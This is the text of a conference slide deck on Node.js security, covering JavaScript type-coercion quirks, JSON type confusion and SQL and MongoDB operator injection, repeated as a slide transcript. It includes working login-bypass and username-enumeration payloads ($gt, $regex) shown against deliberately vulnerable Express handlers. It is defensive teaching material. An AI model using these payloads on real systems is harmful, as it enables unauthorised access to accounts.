@pdp
Petko D. Petkov
Websecurify
GNUCITIZEN
Security
Challenges in
Node.js
Our Assumptions
• Node.js is a safe programming language
• NoSQL is a safe alternative to SQL
• Node.js + NoSQL = win
–Isaac Asimov
“Your assumptions are your windows
on the world. Scrub them off every
once in a while, or the light won't
come in.”
WTFJS!!!
wtfjs.com
parseInt('duck'); // NaN
parseInt('duck', 16); // 13
(2 + "3"); // 23
(2 + + "3"); // 5
(+""); // 0
(2 * "3"); // 6
0 === -0 //true
1/0 === 1/0 //true
1/0 === 1/-0 //false
var foo = [0];
console.log(foo == !foo); // true
console.log(foo == foo); // true
9999999999999999 //=> 10000000000000000
var hex = 0xFF55 << 8; // Shifting by 8 bits adds 0x00 at the end
alert(hex.toString(16)); // 0xFF5500
// Before 0x800000 it's ok
alert((0x777777 << 8).toString(16)); // 0x77777700
// After 0x800000 it's not ok
alert((0x888888 << 8).toString(16)); // -0x77777800, WTF?
Node (0.10.35) Chrome (40.0) Firefox (34.0)
[] + [] "" "" ""
[] + {}
"[object
Object]"
"[object
Object]"
"[object
Object]"
{} + []
"[object
Object]"
0 0
{} + {}
"[object
Object][object
Object]"
NaN NaN
1 / [] // Infinity
1 / {} // NaN
1 / [1] // 1
1 / [[1]] // 1
1 / [[[1]]] // 1
1 ^ [] // 1
1 ^ {} // 1
"5" * 5 - "1" // 24
"5" * 5 - [] // 25
JSON
JavaScript Object
Notation
var obj = JSON.parse(input);
var price = Math.round(
obj.quantity * 5
);
{
"code": "USD",
"quantity": 1,
"item": "tie"
}
var obj = JSON.parse(input);
var price = Math.round(
1 * 5
);
// => price = 5
{
"code": "USD",
"quantity": {},
"item": "tie"
}
var obj = JSON.parse(input);
var price = Math.round(
{} * 5;
);
// => price = NaN
{
"code": "USD",
"quantity": [],
"item": "tie"
}
var obj = JSON.parse(input);
var price = Math.round(
[] * 5;
);
// => price = 0
var quantity = obj.quantity || 1;
// ---
var price;
switch (obj.item || 'tie') {
case 'tie': price = 5.76; break;
case 'socks': price = 1.56; break;
// ---
default:
price = 1.56;
// ---
break;
}
// ---
var total = cur * quantity * price;
// ---
res.writeHead(200, 'OK', {'Content-Type': 'application/json'});
res.end(JSON.stringify({total: Math.abs(total).toFixed(2)}));
var obj;
try {
obj = JSON.parse( chunks.join(''));
} catch (e) {
res.writeHead(500);
res.end();
// ---
return;
}
// ---
var cur;
switch (obj.code || 'USD') {
case 'USD': cur = 0.9; break;
case 'GBP': cur = 0.5; break;
// ---
default:
cur = 0.9;
// ---
break;
}
// ---
var quantity = obj.quantity || 1;
// ---
var price;
switch (obj.item || 'tie') {
case 'tie': price = 5.76; break;
case 'socks': price = 1.56; break;
// ---
default:
price = 1.56;
// ---
break;
}
// ---
var total = cur * quantity * price;
// ---
res.writeHead(200, 'OK', {'Content-Type': 'application/json'});
res.end(JSON.stringify({total: Math.abs(total).toFixed(2)}));
var obj;
try {
obj = JSON.parse( chunks.join(''));
} catch (e) {
res.writeHead(500);
res.end();
// ---
return;
}
// ---
var cur;
switch (obj.code || 'USD') {
case 'USD': cur = 0.9; break;
case 'GBP': cur = 0.5; break;
// ---
default:
cur = 0.9;
// ---
break;
}
// ---
SQLI
SQL Injection
SELECT * FROM users WHERE
username = '$user' AND password = '$pass'
SELECT * FROM usersWHERE
username = '' or 1=1--' AND password = ''
mysql_query("SELECT * FROM users WHERE
username = '$user' AND password = '$pass'");
db.users.find({
username: username,
password: password
});
app.post('/', function (req, res) {
var query = {
username: req.body.username,
password: req.body.password
};
db.users.find(query, function (err, users) {
// TODO: handle the rest
});
});
app.post('/', function (req, res) {
var query = {
username: req.body.username,
password: req.body.password
};
db.users.find(query, function (err, users) {
// TODO: handle the rest
});
});
Comparison Logical Element Evaluation Array Projection
$gt $and $exists $mod $all $
$gte $nor $type $regex $elementMatch $elementMatch
$in $not $text $size $meta
$lt $or $where $slice
$lte
$ne
$nin
POST http://target/ HTTP/1.1
Content-Type: application/json
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
app.post('/', function (req, res) {
var query = {
username: {"$gt": ""},
password: {"$gt": ""}
};
db.users.find(query, function (err, users) {
// TODO: handle the rest
});
});
app.post('/', function (req, res) {
var query = {
username: req.param('username'),
password: req.param('password')
};
db.users.find(query, function (err, users) {
// TODO: handle the rest
});
});
app.post('/', function (req, res) {
var query = {
username: req.param('username'),
password: req.param('password')
};
db.users.find(query, function (err, users) {
// TODO: handle the rest
});
});
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username[$gt]=&password[$gt]=
app.post('/', function (req, res) {
var query = {
username: {"$gt": ""},
password: {"$gt": ""}
};
db.users.find(query, function (err, users) {
// TODO: handle the rest
});
});
a[0]=1 → a = [1]
a[0]=1&a[1]=2 → a = [1,2]
a[b]=1 → a = {b:1}
a[b]=1&a[c]=2 → a ={a:1, c:2}
app.post('/', function(req, res) {
User.findOne({user: req.body.user}, function (err, user) {
if (err) {
return res.render('index', {message: err.message});
}
// ---
if (!user) {
return res.render('index', {message: 'Sorry!'});
}
// ---
if (user.hash != sha1(req.body.pass)) {
return res.render('index', {message: 'Sorry!'});
}
// ---
return res.render('index', {message: 'Welcome back ' + user.name + '!!!'});
});
});
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[$regex]=ab.c&pass=abc123
{
user: {$regex: "ab.c"},
pass: "abc123"
}
app.post('/', function(req, res) {
User.findOne({user: {$regex: "ab.c"}}, function (err, user) {
if (err) {
return res.render('index', {message: err.message});
}
// ---
if (!user) {
return res.render('index', {message: 'Sorry!'});
}
// ---
if (user.hash != sha1("abc123")) {
return res.render('index', {message: 'Sorry!'});
}
// ---
return res.render('index', {message: 'Welcome back ' + user.name + '!!!'});
});
});
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[$regex]=ab.c&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[$regex]=ba.c&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[$regex]=cd.e&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[$regex]=dc.e&pass=abc123
Lessons
Learned
Always validate user-
supplied input!

Security Challenges in Node.js

  • 1.
  • 2.
  • 3.
    Our Assumptions • Node.jsis a safe programming language • NoSQL is a safe alternative to SQL • Node.js + NoSQL = win
  • 4.
    –Isaac Asimov “Your assumptionsare your windows on the world. Scrub them off every once in a while, or the light won't come in.”
  • 5.
  • 6.
  • 7.
    (2 + "3");// 23 (2 + + "3"); // 5 (+""); // 0 (2 * "3"); // 6
  • 8.
    0 === -0//true 1/0 === 1/0 //true 1/0 === 1/-0 //false
  • 9.
    var foo =[0]; console.log(foo == !foo); // true console.log(foo == foo); // true
  • 10.
  • 11.
    var hex =0xFF55 << 8; // Shifting by 8 bits adds 0x00 at the end alert(hex.toString(16)); // 0xFF5500 // Before 0x800000 it's ok alert((0x777777 << 8).toString(16)); // 0x77777700 // After 0x800000 it's not ok alert((0x888888 << 8).toString(16)); // -0x77777800, WTF?
  • 12.
    Node (0.10.35) Chrome(40.0) Firefox (34.0) [] + [] "" "" "" [] + {} "[object Object]" "[object Object]" "[object Object]" {} + [] "[object Object]" 0 0 {} + {} "[object Object][object Object]" NaN NaN
  • 13.
    1 / []// Infinity 1 / {} // NaN
  • 14.
    1 / [1]// 1 1 / [[1]] // 1 1 / [[[1]]] // 1
  • 15.
    1 ^ []// 1 1 ^ {} // 1
  • 16.
    "5" * 5- "1" // 24 "5" * 5 - [] // 25
  • 17.
  • 18.
    var obj =JSON.parse(input); var price = Math.round( obj.quantity * 5 );
  • 19.
  • 20.
    var obj =JSON.parse(input); var price = Math.round( 1 * 5 ); // => price = 5
  • 21.
  • 22.
    var obj =JSON.parse(input); var price = Math.round( {} * 5; ); // => price = NaN
  • 23.
  • 24.
    var obj =JSON.parse(input); var price = Math.round( [] * 5; ); // => price = 0
  • 25.
    var quantity =obj.quantity || 1; // --- var price; switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; } // --- var total = cur * quantity * price; // --- res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)})); var obj; try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; } // --- var cur; switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; } // ---
  • 26.
    var quantity =obj.quantity || 1; // --- var price; switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; } // --- var total = cur * quantity * price; // --- res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)})); var obj; try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; } // --- var cur; switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; } // ---
  • 27.
  • 28.
    SELECT * FROMusers WHERE username = '$user' AND password = '$pass' SELECT * FROM usersWHERE username = '' or 1=1--' AND password = ''
  • 29.
    mysql_query("SELECT * FROMusers WHERE username = '$user' AND password = '$pass'");
  • 30.
  • 31.
    app.post('/', function (req,res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 32.
    app.post('/', function (req,res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 33.
    Comparison Logical ElementEvaluation Array Projection $gt $and $exists $mod $all $ $gte $nor $type $regex $elementMatch $elementMatch $in $not $text $size $meta $lt $or $where $slice $lte $ne $nin
  • 34.
    POST http://target/ HTTP/1.1 Content-Type:application/json { "username": {"$gt": ""}, "password": {"$gt": ""} }
  • 35.
    app.post('/', function (req,res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 36.
    app.post('/', function (req,res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 37.
    app.post('/', function (req,res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 38.
    POST http://target/ HTTP/1.1 Content-Type:application/x-www-form-urlencoded username[$gt]=&password[$gt]=
  • 39.
    app.post('/', function (req,res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  • 40.
    a[0]=1 → a= [1] a[0]=1&a[1]=2 → a = [1,2] a[b]=1 → a = {b:1} a[b]=1&a[c]=2 → a ={a:1, c:2}
  • 41.
    app.post('/', function(req, res){ User.findOne({user: req.body.user}, function (err, user) { if (err) { return res.render('index', {message: err.message}); } // --- if (!user) { return res.render('index', {message: 'Sorry!'}); } // --- if (user.hash != sha1(req.body.pass)) { return res.render('index', {message: 'Sorry!'}); } // --- return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
  • 42.
    POST http://target/ HTTP/1.1 Content-Type:application/x-www-form-urlencoded user[$regex]=ab.c&pass=abc123
  • 43.
  • 44.
    app.post('/', function(req, res){ User.findOne({user: {$regex: "ab.c"}}, function (err, user) { if (err) { return res.render('index', {message: err.message}); } // --- if (!user) { return res.render('index', {message: 'Sorry!'}); } // --- if (user.hash != sha1("abc123")) { return res.render('index', {message: 'Sorry!'}); } // --- return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
  • 45.
    POST http://target/ HTTP/1.1 Content-Type:application/x-www-form-urlencoded user[$regex]=ab.c&pass=abc123 POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=ba.c&pass=abc123 POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=cd.e&pass=abc123 POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=dc.e&pass=abc123
  • 46.